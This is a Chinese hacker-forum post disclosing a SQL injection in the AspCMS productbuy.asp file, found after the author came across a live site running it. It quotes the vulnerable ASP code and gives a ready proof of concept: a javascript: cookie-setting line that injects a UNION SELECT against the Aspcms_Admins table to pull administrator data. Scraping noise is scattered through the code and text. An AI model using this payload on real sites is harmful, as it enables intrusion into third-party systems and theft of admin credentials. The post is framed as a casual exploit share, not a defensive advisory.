好久没上土司了,上来一看发现在删号名单内.....
- v2 e) S' k; y! q3 z也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
4 G1 T; g: m$ ^( i/ x, j8 q废话不多说,看代码:' V: P( Q# f4 b4 c
- \: g+ n! ]6 v/ a<%
X E, W3 Y% t9 ~
: Q0 v) Q! V4 iif action = "buy" then
- x2 d7 ?; ?6 P: A. q+ G! \& I) U( Z
addOrder()' _7 i" r% _2 B- {
/ O; X) C, p. q) } {/ G
else
" G6 k' v& t7 Z
, Z9 |- X+ N o$ } echoContent()
8 N8 A# Q7 s( t% a
$ k5 ?. F6 o' P. h& mend if
- q2 d7 M& X; J* q, q0 k% q. `/ c% n2 q1 T
3 G( C$ D. [' u( Y* N: R! b9 }& {; b
+ S: X6 L4 o' W- m3 l5 c……略过
4 @7 z; y9 T/ E* A# q/ K9 }
( y; q3 i/ `* K' i+ i0 e
6 O+ u$ e& }9 a8 P
" z1 M2 o9 }/ `Sub echoContent()
1 ~+ L' |: @4 F" T6 _
6 h0 F7 {, z& o dim id
+ v) M6 W& `9 d4 Z8 y5 _) C1 [7 e: E" Y) e0 Y: s# \& Q8 L
id=getForm("id","get")2 c9 I2 t8 D1 ^# T' q
% S8 {6 U* m& {) b2 R" b
( z7 g% Y! Y( n. Q& ^
3 }9 O9 V6 o: k3 A6 B if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
3 r7 f" p. j6 v9 u
& \2 J' O1 L8 `: r0 |( \, j
5 K3 m" f, j: w( [6 K* T6 X& Q; ]
' n* V x9 e- O$ w* f2 q' K3 s0 F dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
) M) I. M0 c" q& E/ [" y3 `2 b- G1 w
9 r1 c* Y5 o. A% Y: r dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
N- y9 O6 ~1 G. C- W, W, S" G
! Z) T5 ?1 w/ T! C: Q+ k Dim templatePath,tempStr
, I: ]/ n# U5 g: e5 w( |; T4 h9 U% \ m
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
# }% Z' e" r( x; C" K7 C' y, k: p" M" D# I$ {
$ a3 ^) n6 n% i& H4 [
8 B8 P3 O& n' i set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
F/ M& \1 i. I; v2 M, z6 W: H9 k0 S1 q# Q; o4 N6 Y# m
selectproduct=rsObj(0)
2 R4 @7 Q7 x* ?
+ b) C! x9 {" z3 p M( [ 7 G3 j Z8 d6 P' m$ I. B+ E7 ^
8 r" G' o' O0 N3 u
Dim linkman,gender,phone,mobile,email,qq,address,postcode
l: m7 B' ]- z5 {! N. O# q% k& D: U3 O
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0: ~% R4 b8 g# P6 H
) w B" C4 U# j7 f6 ? if rCookie("loginstatus")=1 then 3 c# x0 b) S- L6 \# |! H
& P( U O+ R4 T set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
v. x1 h5 J6 y' w$ W3 n' O0 u: s F# c5 P0 r9 J7 M" ~1 D- Q
linkman=rsObj("truename")
! g# u7 b4 A2 p4 c! ]/ f0 J& e: q; |- x q4 ]9 r5 E. |
gender=rsObj("gender")
$ x% [. U5 A7 M& y' z, {" Z% s
& h- {5 R% o, P ^- q# _: k4 j phone=rsObj("phone")+ v/ I+ ~; C, N1 g6 B
9 I& z) u, N6 b" V1 v* G1 l* r7 [9 |
mobile=rsObj("mobile")
. Q1 p6 _+ ~- B! G ~
1 o6 L' U/ _4 g: I6 m# I* {9 b email=rsObj("email")
/ r& K- q8 u2 a; A9 E7 J
+ |/ [2 s" L# |) X7 K/ R# S* | qq=rsObj("qq")
4 L) Y. R% T. m3 M* L$ ^( t. j' v! Y2 O
address=rsObj("address")
9 R1 o/ d* s' t+ b& f* |) Y( ^7 u' m6 ^$ F- m
postcode=rsObj("postcode")7 N4 K2 n, {* G: l# [* A' z
0 D' Y0 l. \2 } else $ U) s* O! t# G- _+ N$ u2 e
2 Y e5 }3 M% ]4 |) F
gender=13 D3 Y# _3 r& C4 e
0 z6 j$ \6 f% { end if8 k$ g# F1 }3 Q4 S
8 N8 ?9 F( d t/ A' p* F6 x rsObj.close()
( h( J" X( b& }# g9 _
( x2 O0 {+ {5 ^" H' x4 {- Y: p5 |
: K+ n7 j8 b4 O; ?8 {5 l& s# F# w
3 C' k# I" m( S1 h5 P4 I with templateObj
& Q- o. s6 }9 R4 ]/ W- i- ~* ~$ s& M; [& C- ]2 y3 `$ q3 g
.content=loadFile(templatePath)
4 U" G% B! o L4 o9 X2 M9 e
2 m' K8 \" E* H3 P .parseHtml()* v# F" I' q, d$ w
, s/ t3 T7 ?" s5 x) ~* I .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)- m9 g' N/ _/ F l5 y0 i( E8 b. _6 h
! W- l; R& D* n7 b) t. x" u4 p
.content=replaceStr(.content,"[aspcms:linkman]",linkman) 6 _% r" E$ {# y
" ]; L7 l% A/ L2 N .content=replaceStr(.content,"[aspcms:gender]",gender)
6 ]% Q% ?: v# j" I8 }) y: D! E; o1 r
% n3 N3 x, t( x8 I ^ .content=replaceStr(.content,"[aspcms:phone]",phone)
( r: I1 q! S1 o
" h7 ^/ q% }9 n. k3 O9 T/ W .content=replaceStr(.content,"[aspcms:mobile]",mobile) % r C6 ^/ [& o
2 V0 k1 W5 R* ~. B .content=replaceStr(.content,"[aspcms:email]",email)
+ S: V; g' e. F8 m7 ], h
- Z: X% J( ~4 R' g" Q .content=replaceStr(.content,"[aspcms:qq]",qq) 8 {7 J2 ?1 O: |4 ~, ~
e+ @ P0 v6 w) v! F+ ^6 w+ {
.content=replaceStr(.content,"[aspcms:address]",address) : Z9 _; k" c$ Q f9 k, O) B+ Y
, n* _( [0 T- X6 s8 D/ S
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
7 d+ X. j- N1 E! E( P) I. f
1 Z2 ?" k* X( t4 Y# o/ X& F8 ^ .parseCommon()
& q0 D r- H+ e( \2 Y/ P) J3 K& @. w9 b0 |; Q+ q+ u
echo .content ; W' j" P f3 L+ M4 B
/ Y1 J; a6 z9 |( [3 O3 L! X! T7 A" R
end with4 m- ^% T7 `5 h7 F( C+ y0 W4 g
9 v+ Y, T; W' b; B( b; y set templateobj =nothing : terminateAllObjects
0 q% N5 x7 G3 R" X* Q# c- }! C9 n! {1 l8 k' z3 E# ]
End Sub% o0 e" a' U( _# d8 o& U
漏洞很明显,没啥好说的
- _% [7 A8 ?5 A9 T& M" L5 Tpoc:
1 L, ]* m3 N; L6 C3 r0 _9 T, \7 x7 `+ A6 A
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子* ~* [. B9 d9 [4 ` O# Q
1 [1 ~* I" U# C& f4 g |